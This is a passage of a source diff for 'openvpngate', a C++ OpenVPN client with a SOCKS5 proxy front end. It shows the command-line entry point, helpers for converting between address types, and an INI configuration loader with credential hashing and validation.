// it) intact byte for byte.
|
||||
if (c < 0x20) {
|
||||
char buf[8];
|
||||
std::snprintf(buf, sizeof(buf), "\\u%04x", c);
|
||||
out_ += buf;
|
||||
} else {
|
||||
out_ += static_cast<char>(c);
|
||||
}
|
||||
}
|
||||
}
|
||||
out_ += '"';
|
||||
}
|
||||
|
||||
std::string out_;
|
||||
bool need_comma_ = false;
|
||||
};
|
||||
|
||||
} // namespace ovg::app
|
||||
@@ -0,0 +1,186 @@
|
||||
// Entry point: parse the command line, load the config, hand off to App.
|
||||
//
|
||||
// Everything here is deliberately dumb. If a decision is being made in main(),
|
||||
// it belongs in a module -- the only thing this file is allowed to know is how
|
||||
// to turn argv into a Config and a Config into an exit code.
|
||||
#include <cstdio>
|
||||
#include <cstring>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
#include "app/app.h"
|
||||
#include "common/config.h"
|
||||
#include "common/logging.h"
|
||||
|
||||
namespace {
|
||||
|
||||
constexpr const char *kUsage =
|
||||
"openvpngate -- OpenVPN client with an authenticated SOCKS5 front door\n"
|
||||
"\n"
|
||||
"Usage: openvpngate [options]\n"
|
||||
"\n"
|
||||
" -c, --config PATH configuration file (INI); required unless\n"
|
||||
" every default is acceptable\n"
|
||||
" --check load and validate the config, print it, exit\n"
|
||||
" --listen ADDR:PORT\n"
|
||||
" override socks5.listen_address/listen_port\n"
|
||||
" --egress MODE override egress_mode ('tunnel' or 'direct')\n"
|
||||
" --log-level LEVEL trace|debug|info|warn|error|off\n"
|
||||
" --no-admin disable the admin HTTP endpoint\n"
|
||||
" -h, --help this text\n"
|
||||
" -V, --version print the version and exit\n"
|
||||
"\n"
|
||||
"Signals:\n"
|
||||
" SIGINT/SIGTERM graceful shutdown; a second one stops immediately\n"
|
||||
" SIGHUP reload the auth file and refresh the node list\n";
|
||||
|
||||
constexpr const char *kVersion = "openvpngate 0.1.0";
|
||||
|
||||
// "1.2.3.4:1080" or ":1080" or "1.2.3.4". Returns false on anything else.
|
||||
bool split_listen(const std::string &text, std::string *addr, uint16_t *port) {
|
||||
const auto colon = text.rfind(':');
|
||||
if (colon == std::string::npos) {
|
||||
*addr = text;
|
||||
return !addr->empty();
|
||||
}
|
||||
if (colon > 0) *addr = text.substr(0, colon);
|
||||
const std::string p = text.substr(colon + 1);
|
||||
if (p.empty()) return false;
|
||||
try {
|
||||
const unsigned long v = std::stoul(p);
|
||||
if (v == 0 || v > 65535) return false;
|
||||
*port = static_cast<uint16_t>(v);
|
||||
} catch (const std::exception &) {
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
using namespace ovg;
|
||||
|
||||
std::string config_path;
|
||||
std::string listen_override;
|
||||
std::string egress_override;
|
||||
std::string level_override;
|
||||
bool check_only = false;
|
||||
bool no_admin = false;
|
||||
|
||||
for (int i = 1; i < argc; ++i) {
|
||||
const std::string a = argv[i];
|
||||
auto next = [&](const char *what) -> const char * {
|
||||
if (i + 1 >= argc) {
|
||||
std::fprintf(stderr, "%s needs an argument\n", what);
|
||||
std::exit(2);
|
||||
}
|
||||
return argv[++i];
|
||||
};
|
||||
|
||||
if (a == "-h" || a == "--help") {
|
||||
std::fputs(kUsage, stdout);
|
||||
return 0;
|
||||
}
|
||||
if (a == "-V" || a == "--version") {
|
||||
std::printf("%s\n", kVersion);
|
||||
return 0;
|
||||
}
|
||||
if (a == "-c" || a == "--config") {
|
||||
config_path = next("--config");
|
||||
} else if (a == "--check") {
|
||||
check_only = true;
|
||||
} else if (a == "--listen") {
|
||||
listen_override = next("--listen");
|
||||
} else if (a == "--egress") {
|
||||
egress_override = next("--egress");
|
||||
} else if (a == "--log-level") {
|
||||
level_override = next("--log-level");
|
||||
} else if (a == "--no-admin") {
|
||||
no_admin = true;
|
||||
} else {
|
||||
std::fprintf(stderr, "unknown option '%s'\n\n%s", a.c_str(), kUsage);
|
||||
return 2;
|
||||
}
|
||||
}
|
||||
|
||||
Config cfg;
|
||||
std::string err;
|
||||
if (!config_path.empty()) {
|
||||
if (!Config::load_file(config_path, &cfg, &err)) {
|
||||
std::fprintf(stderr, "config: %s\n", err.c_str());
|
||||
return 2;
|
||||
}
|
||||
} else {
|
||||
std::fprintf(stderr,
|
||||
"no --config given; running on defaults "
|
||||
"(SOCKS5 on 127.0.0.1:1080, no credentials configured)\n");
|
||||
}
|
||||
|
||||
// Overrides land after the file and before validation, so a bad flag is
|
||||
// rejected by the same rules as a bad file.
|
||||
if (!listen_override.empty()) {
|
||||
if (!split_listen(listen_override, &cfg.socks5.listen_address,
|
||||
&cfg.socks5.listen_port)) {
|
||||
std::fprintf(stderr, "--listen: expected ADDR:PORT, got '%s'\n",
|
||||
listen_override.c_str());
|
||||
return 2;
|
||||
}
|
||||
}
|
||||
if (!egress_override.empty()) cfg.egress_mode = egress_override;
|
||||
if (!level_override.empty()) {
|
||||
cfg.logging.level = log::level_from_string(level_override);
|
||||
}
|
||||
if (no_admin) cfg.admin.enabled = false;
|
||||
|
||||
if (!cfg.validate(&err)) {
|
||||
std::fprintf(stderr, "config: %s\n", err.c_str());
|
||||
return 2;
|
||||
}
|
||||
|
||||
// A proxy that requires auth with nobody configured accepts nobody, which is
|
||||
// safe but almost certainly not what was meant. Say so once, loudly, here --
|
||||
// not at the first failed login, where it looks like a client problem.
|
||||
if (cfg.socks5.require_auth && cfg.socks5.users.empty()) {
|
||||
std::fprintf(stderr,
|
||||
"warning: socks5.require_auth is on but no credentials are "
|
||||
"configured; every login will be refused\n");
|
||||
}
|
||||
|
||||
if (check_only) {
|
||||
std::printf(
|
||||
"config ok\n"
|
||||
" socks5 %s:%u auth=%s users=%zu max_sessions=%zu udp=%s\n"
|
||||
" admin %s\n"
|
||||
" egress %s\n"
|
||||
" selector probe %zu candidate(s) x%zu sample(s)\n"
|
||||
" switching %s, drain %lldms, margin %.0f%%, rehome=%s/%s\n"
|
||||
" health every %lldms, %d window(s), probe %s:%u\n",
|
||||
cfg.socks5.listen_address.c_str(), cfg.socks5.listen_port,
|
||||
cfg.socks5.require_auth ? "required" : "optional", cfg.socks5.users.size(),
|
||||
cfg.socks5.max_sessions,
|
||||
cfg.socks5.udp_associate_enabled ? "on" : "off",
|
||||
cfg.admin.enabled ? (cfg.admin.listen_address + ":" +
|
||||
std::to_string(cfg.admin.listen_port))
|
||||
.c_str()
|
||||
: "disabled",
|
||||
cfg.egress_mode.c_str(), cfg.selector.probe_candidates,
|
||||
cfg.selector.probe_samples,
|
||||
cfg.switching.mode == SwitchConfig::Mode::Graceful ? "graceful" : "hard",
|
||||
static_cast<long long>(cfg.switching.drain_grace.count()),
|
||||
cfg.switching.improvement_margin * 100.0,
|
||||
cfg.switching.retry_zero_progress ? "tcp" : "-",
|
||||
cfg.switching.rehome_udp ? "udp" : "-",
|
||||
static_cast<long long>(cfg.health.interval.count()),
|
||||
cfg.health.unhealthy_windows, cfg.health.probe_domain.c_str(),
|
||||
cfg.health.probe_port);
|
||||
return 0;
|
||||
}
|
||||
|
||||
app::App app(std::move(cfg));
|
||||
if (!app.start(&err)) {
|
||||
std::fprintf(stderr, "startup failed: %s\n", err.c_str());
|
||||
return 1;
|
||||
}
|
||||
return app.run();
|
||||
}
|
||||
@@ -0,0 +1,57 @@
|
||||
// Conversions between our address types and asio's.
|
||||
//
|
||||
// Kept out of endpoint.h on purpose: Endpoint is what the SOCKS5 codec and the
|
||||
// netstack traffic in, and neither should have to see asio's headers to parse
|
||||
// an address. Only the code that actually touches host sockets -- the direct
|
||||
// egress, the SOCKS5 listener, the admin server -- needs this.
|
||||
#pragma once
|
||||
|
||||
#include <asio.hpp>
|
||||
|
||||
#include <cstdint>
|
||||
#include <string>
|
||||
|
||||
#include "common/endpoint.h"
|
||||
|
||||
namespace ovg {
|
||||
|
||||
inline asio::ip::address to_asio(const IpAddress &a) {
|
||||
if (!a.valid()) return {};
|
||||
if (a.is_v4()) {
|
||||
return asio::ip::address_v4(a.v4_host_order());
|
||||
}
|
||||
asio::ip::address_v6::bytes_type b{};
|
||||
const auto &raw = a.bytes();
|
||||
for (size_t i = 0; i < b.size(); ++i) b[i] = raw[i];
|
||||
return asio::ip::address_v6(b);
|
||||
}
|
||||
|
||||
inline IpAddress from_asio(const asio::ip::address &a) {
|
||||
if (a.is_v4()) return IpAddress::from_v4(a.to_v4().to_uint());
|
||||
if (a.is_v6()) {
|
||||
const auto b = a.to_v6().to_bytes();
|
||||
return IpAddress::from_bytes_v6(b.data());
|
||||
}
|
||||
return {};
|
||||
}
|
||||
|
||||
inline Endpoint from_asio(const asio::ip::tcp::endpoint &ep) {
|
||||
return Endpoint(from_asio(ep.address()), ep.port());
|
||||
}
|
||||
|
||||
inline Endpoint from_asio(const asio::ip::udp::endpoint &ep) {
|
||||
return Endpoint(from_asio(ep.address()), ep.port());
|
||||
}
|
||||
|
||||
// Only meaningful for an Endpoint that already holds a literal address; a
|
||||
// domain-kind Endpoint yields an unspecified address, which every caller here
|
||||
// rejects before it gets this far.
|
||||
inline asio::ip::tcp::endpoint to_asio_tcp(const Endpoint &e) {
|
||||
return asio::ip::tcp::endpoint(to_asio(e.address()), e.port());
|
||||
}
|
||||
|
||||
inline asio::ip::udp::endpoint to_asio_udp(const Endpoint &e) {
|
||||
return asio::ip::udp::endpoint(to_asio(e.address()), e.port());
|
||||
}
|
||||
|
||||
} // namespace ovg
|
||||
@@ -0,0 +1,530 @@
|
||||
#include "common/config.h"
|
||||
|
||||
#include <openssl/evp.h>
|
||||
#include <openssl/rand.h>
|
||||
|
||||
#include <algorithm>
|
||||
#include <cctype>
|
||||
#include <charconv>
|
||||
#include <fstream>
|
||||
#include <set>
|
||||
#include <sstream>
|
||||
|
||||
#include "common/endpoint.h"
|
||||
|
||||
namespace ovg {
|
||||
namespace {
|
||||
|
||||
std::string trim(std::string_view s) {
|
||||
size_t b = 0, e = s.size();
|
||||
while (b < e && std::isspace(static_cast<unsigned char>(s[b]))) ++b;
|
||||
while (e > b && std::isspace(static_cast<unsigned char>(s[e - 1]))) --e;
|
||||
return std::string(s.substr(b, e - b));
|
||||
}
|
||||
|
||||
std::string to_lower(std::string s) {
|
||||
std::transform(s.begin(), s.end(), s.begin(),
|
||||
[](unsigned char c) { return std::tolower(c); });
|
||||
return s;
|
||||
}
|
||||
|
||||
std::vector<std::string> split_list(const std::string &s) {
|
||||
std::vector<std::string> out;
|
||||
std::string cur;
|
||||
for (char c : s) {
|
||||
if (c == ',') {
|
||||
auto t = trim(cur);
|
||||
if (!t.empty()) out.push_back(t);
|
||||
cur.clear();
|
||||
} else {
|
||||
cur += c;
|
||||
}
|
||||
}
|
||||
auto t = trim(cur);
|
||||
if (!t.empty()) out.push_back(t);
|
||||
return out;
|
||||
}
|
||||
|
||||
std::string hex_encode(const unsigned char *data, size_t len) {
|
||||
static const char *kHex = "0123456789abcdef";
|
||||
std::string out;
|
||||
out.reserve(len * 2);
|
||||
for (size_t i = 0; i < len; ++i) {
|
||||
out += kHex[data[i] >> 4];
|
||||
out += kHex[data[i] & 0x0f];
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
std::string sha256_hex(const std::string &input) {
|
||||
unsigned char md[EVP_MAX_MD_SIZE];
|
||||
unsigned int md_len = 0;
|
||||
EVP_MD_CTX *ctx = EVP_MD_CTX_new();
|
||||
if (!ctx) return {};
|
||||
std::string out;
|
||||
if (EVP_DigestInit_ex(ctx, EVP_sha256(), nullptr) == 1 &&
|
||||
EVP_DigestUpdate(ctx, input.data(), input.size()) == 1 &&
|
||||
EVP_DigestFinal_ex(ctx, md, &md_len) == 1) {
|
||||
out = hex_encode(md, md_len);
|
||||
}
|
||||
EVP_MD_CTX_free(ctx);
|
||||
return out;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// A deliberately small INI reader. Keys are stored as "section.key".
|
||||
class Ini {
|
||||
public:
|
||||
bool parse(const std::string &text, std::string *err) {
|
||||
std::istringstream in(text);
|
||||
std::string line;
|
||||
std::string section;
|
||||
int lineno = 0;
|
||||
while (std::getline(in, line)) {
|
||||
++lineno;
|
||||
// Strip comments, but only when '#'/';' starts a token -- passwords and
|
||||
// URLs legitimately contain '#'.
|
||||
for (size_t i = 0; i < line.size(); ++i) {
|
||||
if ((line[i] == '#' || line[i] == ';') &&
|
||||
(i == 0 || std::isspace(static_cast<unsigned char>(line[i - 1])))) {
|
||||
line = line.substr(0, i);
|
||||
break;
|
||||
}
|
||||
}
|
||||
auto s = trim(line);
|
||||
if (s.empty()) continue;
|
||||
|
||||
if (s.front() == '[') {
|
||||
if (s.back() != ']') {
|
||||
if (err) *err = "line " + std::to_string(lineno) + ": bad section header";
|
||||
return false;
|
||||
}
|
||||
section = to_lower(trim(s.substr(1, s.size() - 2)));
|
||||
continue;
|
||||
}
|
||||
|
||||
const auto eq = s.find('=');
|
||||
if (eq == std::string::npos) {
|
||||
if (err) *err = "line " + std::to_string(lineno) + ": expected key = value";
|
||||
return false;
|
||||
}
|
||||
auto key = to_lower(trim(s.substr(0, eq)));
|
||||
auto value = trim(s.substr(eq + 1));
|
||||
if (key.empty()) {
|
||||
if (err) *err = "line " + std::to_string(lineno) + ": empty key";
|
||||
return false;
|
||||
}
|
||||
const std::string full = section.empty() ? key : section + "." + key;
|
||||
// Sections whose keys are user-defined (credentials) keep every entry.
|
||||
if (section == "users")
|
||||
users_.emplace_back(key, value);
|
||||
else
|
||||
kv_[full] = value;
|
||||
seen_.push_back(full);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool has(const std::string &k) const { return kv_.count(k) > 0; }
|
||||
|
||||
std::string str(const std::string &k, const std::string &dflt) const {
|
||||
read_.insert(k);
|
||||
auto it = kv_.find(k);
|
||||
return it == kv_.end() ? dflt : it->second;
|
||||
}
|
||||
|
||||
bool boolean(const std::string &k, bool dflt, std::string *err) const {
|
||||
read_.insert(k);
|
||||
auto it = kv_.find(k);
|
||||
if (it == kv_.end()) return dflt;
|
||||
const auto v = to_lower(it->second);
|
||||
if (v == "true" || v == "yes" || v == "1" || v == "on") return true;
|
||||
if (v == "false" || v == "no" || v == "0" || v == "off") return false;
|
||||
if (err) *err = k + ": expected a boolean, got '" + it->second + "'";
|
||||
return dflt;
|
||||
}
|
||||
|
||||
template <typename T>
|
||||
T number(const std::string &k, T dflt, std::string *err) const {
|
||||
read_.insert(k);
|
||||
auto it = kv_.find(k);
|
||||
if (it == kv_.end()) return dflt;
|
||||
T v{};
|
||||
const char *b = it->second.data();
|
||||
const char *e = b + it->second.size();
|
||||
const auto r = std::from_chars(b, e, v);
|
||||
if (r.ec != std::errc{} || r.ptr != e) {
|
||||
if (err) *err = k + ": expected a number, got '" + it->second + "'";
|
||||
return dflt;
|
||||
}
|
||||
return v;
|
||||
}
|
||||
|
||||
Millis duration(const std::string &k, Millis dflt, std::string *err) const {
|
||||
read_.insert(k);
|
||||
auto it = kv_.find(k);
|
||||
if (it == kv_.end()) return dflt;
|
||||
Millis out{};
|
||||
if (!parse_duration(it->second, &out)) {
|
||||
if (err) *err = k + ": expected a duration, got '" + it->second + "'";
|
||||
return dflt;
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
std::vector<std::string> list(const std::string &k,
|
||||
std::vector<std::string> dflt) const {
|
||||
read_.insert(k);
|
||||
auto it = kv_.find(k);
|
||||
if (it == kv_.end()) return dflt;
|
||||
return split_list(it->second);
|
||||
}
|
||||
|
||||
const std::vector<std::pair<std::string, std::string>> &users() const {
|
||||
read_prefixes_.push_back("users."); // [users] keys are user-defined
|
||||
return users_;
|
||||
}
|
||||
|
||||
// Keys under [log.modules] become per-module levels.
|
||||
std::map<std::string, std::string> prefixed(const std::string &prefix) const {
|
||||
read_prefixes_.push_back(prefix);
|
||||
std::map<std::string, std::string> out;
|
||||
for (const auto &[k, v] : kv_) {
|
||||
if (k.rfind(prefix, 0) == 0 && k.size() > prefix.size())
|
||||
out[k.substr(prefix.size())] = v;
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
// Every key the loader never asked about. A key we do not read is a key that
|
||||
// silently does nothing -- almost always a typo, and the kind that only shows
|
||||
// up as "why is my timeout still 30s" hours later. Callers turn this into a
|
||||
// hard load error.
|
||||
std::vector<std::string> unread() const {
|
||||
std::vector<std::string> out;
|
||||
for (const auto &k : seen_) {
|
||||
if (read_.count(k)) continue;
|
||||
bool by_prefix = false;
|
||||
for (const auto &p : read_prefixes_)
|
||||
if (k.rfind(p, 0) == 0) by_prefix = true;
|
||||
if (!by_prefix) out.push_back(k);
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
private:
|
||||
std::map<std::string, std::string> kv_;
|
||||
std::vector<std::pair<std::string, std::string>> users_;
|
||||
std::vector<std::string> seen_;
|
||||
mutable std::set<std::string> read_;
|
||||
mutable std::vector<std::string> read_prefixes_;
|
||||
};
|
||||
|
||||
} // namespace
|
||||
|
||||
bool parse_duration(const std::string &text, Millis *out) {
|
||||
if (text.empty()) return false;
|
||||
size_t idx = 0;
|
||||
while (idx < text.size() &&
|
||||
(std::isdigit(static_cast<unsigned char>(text[idx])) ||
|
||||
text[idx] == '.' || text[idx] == '-'))
|
||||
++idx;
|
||||
if (idx == 0) return false;
|
||||
|
||||
double value = 0;
|
||||
try {
|
||||
value = std::stod(text.substr(0, idx));
|
||||
} catch (...) {
|
||||
return false;
|
||||
}
|
||||
if (value < 0) return false;
|
||||
|
||||
const std::string unit = to_lower(trim(text.substr(idx)));
|
||||
double mult = 1000.0; // bare number = seconds
|
||||
if (unit == "ms") mult = 1.0;
|
||||
else if (unit == "s" || unit.empty()) mult = 1000.0;
|
||||
else if (unit == "m" || unit == "min") mult = 60.0 * 1000.0;
|
||||
else if (unit == "h") mult = 3600.0 * 1000.0;
|
||||
else if (unit == "d") mult = 86400.0 * 1000.0;
|
||||
else return false;
|
||||
|
||||
*out = Millis(static_cast<int64_t>(value * mult));
|
||||
return true;
|
||||
}
|
||||
|
||||
Credential make_credential(const std::string &user,
|
||||
const std::string &password) {
|
||||
unsigned char salt[16];
|
||||
if (RAND_bytes(salt, sizeof(salt)) != 1) {
|
||||
// RAND_bytes failing means the CSPRNG is broken; refusing is safer than
|
||||
// silently producing a weak credential.
|
||||
return Credential{user, "", ""};
|
||||
}
|
||||
Credential c;
|
||||
c.username = user;
|
||||
c.salt_hex = hex_encode(salt, sizeof(salt));
|
||||
c.hash_hex = sha256_hex(c.salt_hex + password);
|
||||
return c;
|
||||
}
|
||||
|
||||
bool verify_credential(const Credential &c, const std::string &password) {
|
||||
if (c.hash_hex.empty()) return false;
|
||||
const std::string got = sha256_hex(c.salt_hex + password);
|
||||
if (got.size() != c.hash_hex.size()) return false;
|
||||
// Constant-time compare: never leak the matching prefix length via timing.
|
||||
unsigned diff = 0;
|
||||
for (size_t i = 0; i < got.size(); ++i)
|
||||
diff |= static_cast<unsigned>(got[i] ^ c.hash_hex[i]);
|
||||
return diff == 0;
|
||||
}
|
||||
|
||||
bool load_auth_file(const std::string &path, std::vector<Credential> *out,
|
||||
std::string *err) {
|
||||
std::ifstream in(path);
|
||||
if (!in) {
|
||||
if (err) *err = "cannot open auth file: " + path;
|
||||
return false;
|
||||
}
|
||||
std::string line;
|
||||
int lineno = 0;
|
||||
while (std::getline(in, line)) {
|
||||
++lineno;
|
||||
auto s = trim(line);
|
||||
if (s.empty() || s[0] == '#') continue;
|
||||
const auto colon = s.find(':');
|
||||
if (colon == std::string::npos || colon == 0) {
|
||||
if (err) *err = path + ":" + std::to_string(lineno) + ": expected user:secret";
|
||||
return false;
|
||||
}
|
||||
const std::string user = s.substr(0, colon);
|
||||
const std::string secret = s.substr(colon + 1);
|
||||
|
||||
// Pre-hashed form: sha256$<salt_hex>$<hash_hex>
|
||||
if (secret.rfind("sha256$", 0) == 0) {
|
||||
const auto rest = secret.substr(7);
|
||||
const auto sep = rest.find('$');
|
||||
if (sep == std::string::npos) {
|
||||
if (err) *err = path + ":" + std::to_string(lineno) + ": malformed sha256 entry";
|
||||
return false;
|
||||
}
|
||||
out->push_back(Credential{user, rest.substr(0, sep), rest.substr(sep + 1)});
|
||||
} else {
|
||||
out->push_back(make_credential(user, secret));
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool Config::load_file(const std::string &path, Config *out, std::string *err) {
|
||||
std::ifstream in(path);
|
||||
if (!in) {
|
||||
if (err) *err = "cannot open config file: " + path;
|
||||
return false;
|
||||
}
|
||||
std::stringstream ss;
|
||||
ss << in.rdbuf();
|
||||
return load_string(ss.str(), out, err);
|
||||
}
|
||||
|
||||
bool Config::load_string(const std::string &text, Config *out,
|
||||
std::string *err) {
|
||||
Ini ini;
|
||||
if (!ini.parse(text, err)) return false;
|
||||
|
||||
Config c; // start from defaults; only assign into the local copy
|
||||
std::string e;
|
||||
|
||||
// ---- logging -------------------------------------------------------------
|
||||
c.logging.level = log::level_from_string(ini.str("log.level", "info"));
|
||||
c.logging.file = ini.str("log.file", "-");
|
||||
for (const auto &[mod, lvl] : ini.prefixed("log.modules."))
|
||||
c.logging.module_levels[mod] = log::level_from_string(lvl);
|
||||
|
||||
// ---- socks5 --------------------------------------------------------------
|
||||
auto &s5 = c.socks5;
|
||||
s5.listen_address = ini.str("socks5.listen_address", s5.listen_address);
|
||||
s5.listen_port = ini.number<uint16_t>("socks5.listen_port", s5.listen_port, &e);
|
||||
s5.require_auth = ini.boolean("socks5.require_auth", s5.require_auth, &e);
|
||||
s5.advertise_address = ini.str("socks5.advertise_address", s5.advertise_address);
|
||||
s5.udp_associate_enabled =
|
||||
ini.boolean("socks5.udp_associate", s5.udp_associate_enabled, &e);
|
||||
s5.max_sessions = ini.number<size_t>("socks5.max_sessions", s5.max_sessions, &e);
|
||||
s5.handshake_timeout = ini.duration("socks5.handshake_timeout", s5.handshake_timeout, &e);
|
||||
s5.connect_timeout = ini.duration("socks5.connect_timeout", s5.connect_timeout, &e);
|
||||
s5.idle_timeout = ini.duration("socks5.idle_timeout", s5.idle_timeout, &e);
|
||||
s5.udp_idle_timeout = ini.duration("socks5.udp_idle_timeout", s5.udp_idle_timeout, &e);
|
||||
s5.relay_buffer_size = ini.number<size_t>("socks5.relay_buffer_size", s5.relay_buffer_size, &e);
|
||||
s5.io_threads = ini.number<int>("socks5.io_threads", s5.io_threads, &e);
|
||||
s5.auth_file = ini.str("socks5.auth_file", s5.auth_file);
|
||||
|
||||
for (const auto &[user, pass] : ini.users())
|
||||
s5.users.push_back(make_credential(user, pass));
|
||||
if (!s5.auth_file.empty() && !load_auth_file(s5.auth_file, &s5.users, err))
|
||||
return false;
|
||||
|
||||
// ---- vpngate -------------------------------------------------------------
|
||||
auto &vg = c.vpngate;
|
||||
vg.api_urls = ini.list("vpngate.api_urls", vg.api_urls);
|
||||
vg.refresh_interval = ini.duration("vpngate.refresh_interval", vg.refresh_interval, &e);
|
||||
vg.http_timeout = ini.duration("vpngate.http_timeout", vg.http_timeout, &e);
|
||||
vg.cache_path = ini.str("vpngate.cache_path", vg.cache_path);
|
||||
vg.cache_max_age = ini.duration("vpngate.cache_max_age", vg.cache_max_age, &e);
|
||||
vg.max_response_bytes = ini.number<size_t>("vpngate.max_response_bytes", vg.max_response_bytes, &e);
|
||||
|
||||
// ---- selector ------------------------------------------------------------
|
||||
auto &sel = c.selector;
|
||||
sel.country_allow = ini.list("selector.country_allow", sel.country_allow);
|
||||
sel.country_deny = ini.list("selector.country_deny", sel.country_deny);
|
||||
sel.prefer_udp = ini.boolean("selector.prefer_udp", sel.prefer_udp, &e);
|
||||
sel.probe_candidates = ini.number<size_t>("selector.probe_candidates", sel.probe_candidates, &e);
|
||||
sel.probe_samples = ini.number<size_t>("selector.probe_samples", sel.probe_samples, &e);
|
||||
sel.probe_timeout = ini.duration("selector.probe_timeout", sel.probe_timeout, &e);
|
||||
sel.probe_concurrency = ini.number<size_t>("selector.probe_concurrency", sel.probe_concurrency, &e);
|
||||
// Scoring weights. Tunable because the right blend depends on what the link
|
||||
// is for -- a bulk download cares about advertised speed, an interactive
|
||||
// session cares about RTT and about nothing else.
|
||||
sel.w_score = ini.number<double>("selector.w_score", sel.w_score, &e);
|
||||
sel.w_speed = ini.number<double>("selector.w_speed", sel.w_speed, &e);
|
||||
sel.w_sessions = ini.number<double>("selector.w_sessions", sel.w_sessions, &e);
|
||||
sel.w_uptime = ini.number<double>("selector.w_uptime", sel.w_uptime, &e);
|
||||
sel.w_rtt = ini.number<double>("selector.w_rtt", sel.w_rtt, &e);
|
||||
sel.w_prior = ini.number<double>("selector.w_prior", sel.w_prior, &e);
|
||||
sel.w_history = ini.number<double>("selector.w_history", sel.w_history, &e);
|
||||
sel.history_path = ini.str("selector.history_path", sel.history_path);
|
||||
sel.failure_backoff_initial = ini.duration("selector.failure_backoff_initial", sel.failure_backoff_initial, &e);
|
||||
sel.failure_backoff_max = ini.duration("selector.failure_backoff_max", sel.failure_backoff_max, &e);
|
||||
|
||||
// ---- switching -----------------------------------------------------------
|
||||
auto &sw = c.switching;
|
||||
const auto mode = to_lower(ini.str("switch.mode", "graceful"));
|
||||
if (mode == "graceful") sw.mode = SwitchConfig::Mode::Graceful;
|
||||
else if (mode == "hard") sw.mode = SwitchConfig::Mode::Hard;
|
||||
else {
|
||||
if (err) *err = "switch.mode: expected 'graceful' or 'hard'";
|
||||
return false;
|
||||
}
|
||||
sw.drain_grace = ini.duration("switch.drain_grace", sw.drain_grace, &e);
|
||||
sw.max_draining = ini.number<size_t>("switch.max_draining", sw.max_draining, &e);
|
||||
sw.min_interval = ini.duration("switch.min_interval", sw.min_interval, &e);
|
||||
sw.improvement_margin = ini.number<double>("switch.improvement_margin", sw.improvement_margin, &e);
|
||||
sw.backoff_initial = ini.duration("switch.backoff_initial", sw.backoff_initial, &e);
|
||||
sw.backoff_max = ini.duration("switch.backoff_max", sw.backoff_max, &e);
|
||||
sw.retry_zero_progress = ini.boolean("switch.retry_zero_progress", sw.retry_zero_progress, &e);
|
||||
sw.rehome_udp = ini.boolean("switch.rehome_udp", sw.rehome_udp, &e);
|
||||
sw.opportunistic_interval =
|
||||
ini.duration("switch.opportunistic_interval", sw.opportunistic_interval, &e);
|
||||
|
||||
// ---- health --------------------------------------------------------------
|
||||
auto &h = c.health;
|
||||
h.interval = ini.duration("health.interval", h.interval, &e);
|
||||
h.unhealthy_windows = ini.number<int>("health.unhealthy_windows", h.unhealthy_windows, &e);
|
||||
h.probe_timeout = ini.duration("health.probe_timeout", h.probe_timeout, &e);
|
||||
h.probe_domain = ini.str("health.probe_domain", h.probe_domain);
|
||||
h.probe_port = ini.number<uint16_t>("health.probe_port", h.probe_port, &e);
|
||||
h.min_score = ini.number<double>("health.min_score", h.min_score, &e);
|
||||
h.max_connect_failure_rate = ini.number<double>("health.max_connect_failure_rate", h.max_connect_failure_rate, &e);
|
||||
h.stall_threshold = ini.duration("health.stall_threshold", h.stall_threshold, &e);
|
||||
|
||||
// ---- ovpn ----------------------------------------------------------------
|
||||
auto &o = c.ovpn;
|
||||
o.allow_legacy_algorithms = ini.boolean("ovpn.allow_legacy_algorithms", o.allow_legacy_algorithms, &e);
|
||||
o.username = ini.str("ovpn.username", o.username);
|
||||
o.password = ini.str("ovpn.password", o.password);
|
||||
o.connect_timeout_s = ini.number<int>("ovpn.connect_timeout", o.connect_timeout_s, &e);
|
||||
o.compression = ini.boolean("ovpn.compression", o.compression, &e);
|
||||
o.tunnel_up_timeout_s = ini.number<int>("ovpn.tunnel_up_timeout", o.tunnel_up_timeout_s, &e);
|
||||
o.packet_socket_buffer = ini.number<int>("ovpn.packet_socket_buffer", o.packet_socket_buffer, &e);
|
||||
|
||||
// ---- dns -----------------------------------------------------------------
|
||||
auto &d = c.dns;
|
||||
d.fallback_servers = ini.list("dns.fallback_servers", d.fallback_servers);
|
||||
d.timeout = ini.duration("dns.timeout", d.timeout, &e);
|
||||
d.cache_entries = ini.number<size_t>("dns.cache_entries", d.cache_entries, &e);
|
||||
d.min_ttl = ini.duration("dns.min_ttl", d.min_ttl, &e);
|
||||
d.max_ttl = ini.duration("dns.max_ttl", d.max_ttl, &e);
|
||||
d.prefer_ipv4 = ini.boolean("dns.prefer_ipv4", d.prefer_ipv4, &e);
|
||||
|
||||
// ---- admin ---------------------------------------------------------------
|
||||
c.admin.enabled = ini.boolean("admin.enabled", c.admin.enabled, &e);
|
||||
c.admin.listen_address = ini.str("admin.listen_address", c.admin.listen_address);
|
||||
c.admin.listen_port = ini.number<uint16_t>("admin.listen_port", c.admin.listen_port, &e);
|
||||
|
||||
c.egress_mode = to_lower(ini.str("egress.mode", c.egress_mode));
|
||||
|
||||
if (!e.empty()) {
|
||||
if (err) *err = e;
|
||||
return false;
|
||||
}
|
||||
|
||||
const auto stray = ini.unread();
|
||||
if (!stray.empty()) {
|
||||
std::string msg = "unknown config key(s): ";
|
||||
for (size_t i = 0; i < stray.size(); ++i) {
|
||||
if (i) msg += ", ";
|
||||
msg += stray[i];
|
||||
}
|
||||
if (err) *err = msg;
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!c.validate(err)) return false;
|
||||
|
||||
*out = std::move(c);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool Config::validate(std::string *err) const {
|
||||
auto fail = [&](std::string m) {
|
||||
if (err) *err = std::move(m);
|
||||
return false;
|
||||
};
|
||||
|
||||
if (socks5.listen_port == 0) return fail("socks5.listen_port must be non-zero");
|
||||
if (socks5.max_sessions == 0) return fail("socks5.max_sessions must be non-zero");
|
||||
if (socks5.relay_buffer_size < 1024)
|
||||
return fail("socks5.relay_buffer_size must be at least 1024");
|
||||
